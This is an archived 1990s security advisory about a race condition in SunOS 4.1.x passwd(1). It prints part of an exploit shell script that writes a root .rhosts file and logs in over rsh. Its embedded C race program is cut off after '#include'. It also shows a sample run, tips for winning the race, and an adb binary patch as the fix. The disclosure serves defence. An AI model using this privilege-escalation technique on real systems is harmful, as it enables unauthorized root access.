[ Search ]
[ What's New? ]
[ About ]
|
|
| passwd91) | |
|---|---|
| Systems Affected: | SunOS 4.1.x |
| Problem: |
passwd(1) allows any user to specify the password file to be
used (passwd(1) updates the file as root.) Using a program
which changes the absolute path of this passwd file at carefully
selected points during the execution of passwd(1), changes can
be written to a directory of our choice.
This example demonstrates how to become root on affected machines by creating an .rhosts file for root. Please do not do this unless you have permission. Create the following file, 'passwdscript':
8<--------------------------- cut here ----------------------------
#!/bin/sh
#
# Syntax: passwdscript target-user
#
# This exploits a flaw in SunOS passwd(1), and attempts
# to become the specified 'user', by creating a .rhosts
# file and using rsh.
#
# Written 1994 by [8LGM]
# Please do not use this script without permission.
#
PATH=/usr/ucb:/usr/bin:/bin export PATH
IFS=" " export IFS
PROG="`basename $0`"
# Check args
if [ $# -ne 1 ]; then
echo "Syntax: $PROG user target-file rsh-user"
exit 1
fi
TARGET_USER="$1"
# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
echo "Sorry, this only works on SunOS"
exit 1
fi
# Make the race program
cat >passwdrace.c << 'EOF'
#include
(Lines marked with > represent user input)
> % chmod 700 passwdscript
> % ./passwdscript root
Wait until told you see "Enter your password now!"
Changing password for nmw on somesun.
Old password:Enter your password now!
> mypassword
> New password: mypassword
> Retype new password: mypassword
#
You must wait for the signal "Enter your password now!" before
you type your password, or you will not win the race. Your
password will not echo as you type it.
A discussion in bug-traq alerted us to the fact that passwd could be used to read any file on the system. It was clear however that the behaviour of passwd(1) as stated would indeed allow arbitrary files to be created around the file system. The program creating the symbolic links waits for various events to occur, switching the link between the directory which contains our data file, and our desired target directory. Occasionally you will loose the race; the symptom of this is that a 'ptmp' file is created and left in your target directory. Once this has occurred, future attempts to use the script to write to the same directory will fail. With a little more work, the script above could be made to delete these ptmp files when they occur, and put the rest of the code in a loop, effectively reducing the chances of loosing to zero. Programs running with extra privileges should not trust insecure paths. |
| Solution: |
1. Contact your vendor for a patch.
2. Patch the passwd binary to remove the '-F' option.
> # cd /bin
> # mv passwd passwd.old; chmod 700 passwd.old
> # cp passwd.old passwd
> # adb -w - passwd
not core file = passwd
> /l 'F:'
0x68de
The above address is required in the following step:
> 0x68de/w 0
0x68de: 0x463a = 0x0
If passwd -F complains at this stage, you have successfully
disabled the option.
Repeat the adb stage, and patch yppasswd in the same way. (replace 'passwd' by 'yppasswd') |
|
Aleph One / aleph1@underground.org Copyright © 1996 Computer Underground Society. All rights reserved. |
|